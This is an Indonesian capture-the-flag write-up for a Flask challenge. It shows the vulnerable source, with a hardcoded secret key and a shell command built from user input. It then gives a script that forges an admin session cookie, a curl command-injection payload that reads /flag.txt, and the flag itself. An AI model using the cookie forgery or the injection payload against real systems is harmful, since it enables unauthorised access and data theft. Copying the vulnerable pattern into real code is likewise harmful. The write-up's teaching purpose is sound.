Oshiku
Deskripsi
Challenge Sederhana. iya kan?
137.184.250.54:7012
mirror : 146.190.104.208:7012
Author: ZeroEXP
Langkah Penyelesaian
Diberikan sebuah file
dist.rar
, yang setelah diekstrak muncul 2 file berupa aplikasi Flask:app.py
&database.db
. Berikut adalah source code ke-2 file tersebut.
from flask import *
import sqlite3
import os
import subprocess
app = Flask(__name__)
app.secret_key = 'os.urandom(8)'
# Database connection
DATABASE = "database.db"
def query_database(name):
query = 'sqlite3 database.db "SELECT biography FROM oshi WHERE name=\'' + str(name) +'\'\"'
result = subprocess.check_output(query, shell=True, text=True)
return result
@app.route("/")
def index():
role = session.get('role')
if role == "admin":
return redirect(url_for('admin'))
elif role == "guest":
return redirect(url_for('guest'))
else:
return redirect(url_for('login'))
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
if username == "guest" and password == "guest":
session['username'] = username
session['role'] = "guest"
return redirect(url_for('guest'))
else:
return jsonify({"msg": "Bad username or password"}), 401
return render_template("login.html")
@app.route("/admin", methods=["GET", "POST"])
def admin():
if 'role' not in session or session['role'] != "admin":
return jsonify({"msg": "Access forbidden: Admins only"}), 403
if request.method == "POST":
selected_name = request.form.get("oshi_name")
biography = query_database(selected_name)
return render_template("admin.html", biography=biography)
return render_template("admin.html", biography="")
@app.route("/guest", methods=["GET", "POST"])
def guest():
if 'role' not in session or session['role'] != "guest":
return jsonify({"msg": "Access forbidden: Guests only"}), 403
return render_template("guest.html")
@app.route("/logout")
def logout():
session.pop('username', None)
session.pop('role', None)
return redirect(url_for('login'))
if __name__ == "__main__":
app.run(debug=False,host='0.0.0.0')
Awal saya analisis file app.py, saya menyadari bahwa secret_key yang digunakan adalah berupa string biasa / tidak random (weak secret key). Dari situ, saya langsung craft python script untuk men-generate sebuah JWT token agar bisa login sebagai admin dengan memanfaatkan role=”admin”. Berikut adalah kodenya.
# GENERATE ADMIN SESSION COOKIE USING WEAK SECRET KEY!
from flask.sessions import SecureCookieSessionInterface
from itsdangerous import URLSafeTimedSerializer
import requests
# Fungsi untuk membuat sesi palsu
def create_session(secret_key, data):
session_interface = SecureCookieSessionInterface()
serializer = URLSafeTimedSerializer(
secret_key,
salt='cookie-session',
signer_kwargs={'key_derivation': 'hmac', 'digest_method': 'sha1'}
)
return serializer.dumps(data)
# URL target
url = "http://146.190.104.208:7012"
# Buat sesi palsu
secret_key = 'os.urandom(8)'
session_data = {'role': 'admin'}
fake_session = create_session(secret_key, session_data)
print(fake_session)

Setelah berhasil login sebagai admin, saya coba baca lagi source code flask-nya. Awalnya, saya berpikir jika di fungsi
query_database
adalah kerentanan SQL Injection, tapi ternyata saya salah. Itu merupakan kerentanan Command Injection. Langsung saja saya craft payloadnya dan coba kirim request tersebut via cURL menggunakan cookie admin yang sudah di-generate sebelumnya.Berikut adalah POC untuk get flag-nya:
curl -X POST -d "oshi_name=freya\"; cat /flag.txt; echo #" --cookie "session=eyJyb2xlIjoiYWRtaW4ifQ.ZrbXaQ.9CjlFr995lsT5RjKbe9D_6t4kMg" http://146.190.104.208:7012/admin

Flag
WRECKIT50{oshikucumansatukok_satujkt}
Last updated